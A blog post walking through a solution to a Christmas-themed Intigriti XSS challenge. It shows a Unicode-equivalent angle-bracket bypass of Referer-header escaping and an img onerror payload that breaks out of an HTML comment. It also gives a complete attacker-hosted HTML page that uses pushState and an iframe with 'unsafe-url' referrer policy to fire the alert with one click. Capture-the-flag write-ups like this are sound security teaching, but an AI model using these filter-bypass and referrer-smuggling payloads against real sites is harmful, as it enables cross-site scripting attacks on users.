DEV Community

Cover image for Intigriti 1221 - XSS Challenge Writeup
Breno Vitório
Breno Vitório

Posted on

Intigriti 1221 - XSS Challenge Writeup

Here we go again, with another writeup for one of the amazing Intigriti XSS challenges. But this time we have a Christmas theme, ho ho ho 🎅 🎄

Carl Johnson with Christmas Hat

🏞️ Getting to Know the Challenge

When accessing the challenge page, we are going to find this nice Christmas cracker:

Closed Christmas cracker asking to be clicked

Apparently it asks to be clicked, so if we try to do so for a few times, it is pulled apart and shows this form:

Open christmas cracker with an HTML form

Now when we insert anything into the input field, click on the Stay open? radio and submit the form, the page is reloaded. It is reloaded with the cracker already open and with our input now being displayed in the Result: YOUR_INPUT_HERE text.

By looking at the URL, it will be something like this:

https://challenge-1221.intigriti.io/challenge/index.php?payload=YOUR_INPUT_HERE&open=on

So we have two different query parameters:

  • payload: determines what text will be displayed as result in the page;
  • open: determines whether the cracker will appear automatically open or not;

🧐 Digging a Little Bit

While analyzing the DOM, I noticed that basically every reflected content fits into this section of the page:

<div id="jokeWrap" style="...">
    <form action="index.php" method="get">...</form>
    <h4 id="punchline">
        Result: Your payload query param goes here

        <!-- Referer: Your referer HTTP header goes here -->
    </h4>
</div>

Both the payload and the referer header are being filtered, somehow, so we don't just inject HTML tags containing scripts, but they are using different methods for it. How can we know that? Well... 🤔

Taking as example the payload </h4><h1>test</h1> both on the URL and in the input field, this is what we are going to get as response in the DOM:

<h4 id="punchline">
     Result: test

     <!-- Referer: URL?payload=&gt;/h4&lt;&gt;h1&lt;test&gt;/h1&lt; -->
</h4>

So the payload, per se, is having its HTML tags removed, and the referer header is having its HTML tags escaped.

🏁 Getting to The Solution

I had no success while trying to bypass the payload filter, which makes me think that it was indeed built to be secure. The same doesn't apply to the referer header, because it has a bypass!

🔓 An Unicode Normalization Issue

Every < and > characters on the referer header are escaped to &gt; and &lt; (yap, it is inverted for some reason). But this HTML escaping method doesn't take into account unicode character equivalences, so when we write our HTML tags we can replace the < and > characters to their equivalents in different unicode normalization forms. You guys can find more about it here.

Unicode has a honourable duty of providing a unique identifier for every single character, regardless of platform, device, application or language. But such a wide standard may be also used as a method for bypassing security filters. When looking at this page, you are going to see different forms of representing just the < symbol, using different codes.

Now applying it to our challenge, for example, if we add the following payload to the URL and interact with the page:

<img src=x onerror=alert(document.domain)>

The whole tag will appear inside the comment without any escaping, because this payload uses different characters that are equivalent to < and >. As it is inside a comment tag, we just need to get outside of it by attaching --> to the payload.

As a result, our payload would be something like this:

https://challenge-1221.intigriti.io/challenge/index.php?--><img src=x onerror=alert(document.domain)>&open=on

And whenever the user gets to submit the form with anything, the alert will be triggered 😊

🔓 Do You Want Less User Interaction?

The previous solution requires not only the user click, but it also requires that the user submit something to the form, which is a little bit too much interaction, although it is not unusual.

But we can achieve the same alert with just the user click, by iframing the challenge in a page that is ours. First of all, let's create the base of the .html file:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Ho ho ho!</title>
  </head>
  <body>
    <script>
      var iframe = document.createElement("iframe");
      iframe.src = "https://challenge-1221.intigriti.io/challenge/index.php?payload=hello_guys";
      document.body.appendChild(iframe);
    </script>
  </body>
</html>
Enter fullscreen mode Exit fullscreen mode

This is enough for iframing the challenge page into ours, but when we host it elsewhere and see the referer header of the iframe request, it just shows our domain without any payload, because we forgot to add it 🥴

Adding this to the line before the iframe is created might do the trick:

window.history.pushState(
    "",
    "",
    "--><img+src%3Dx+onerror%3Dalert%28document.domain%29+>&open=on"
);
Enter fullscreen mode Exit fullscreen mode

So we try again and...nothing yet 🤬. That's because we have to set the iframe referrerPolicy attribute to unsafe-url. Add this before appending the iframe:

iframe.referrerPolicy = "unsafe-url";

And the final working source would be something like this:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Ho ho ho!</title>
  </head>
  <body>
    <script>
      window.history.pushState(
        "",
        "",
        "--><img+src%3Dx+onerror%3Dalert%28document.domain%29+>&open=on"
      );
      var iframe = document.createElement("iframe");
      iframe.referrerPolicy = "unsafe-url";
      iframe.src =
        "https://challenge-1221.intigriti.io/challenge/index.php?payload=i_love_intigriti";
      document.body.appendChild(iframe);
    </script>
  </body>
</html>
Enter fullscreen mode Exit fullscreen mode

I hosted a similar version of it, which you guys can find on https://temp.brenu.com.br/. It will be up and running just for a few weeks, so if you are reading this write-up in the distant future, sorry for that 😭

🤗 Thank you for taking your time. Happy holidays y'all! 🥰

Latest comments (0)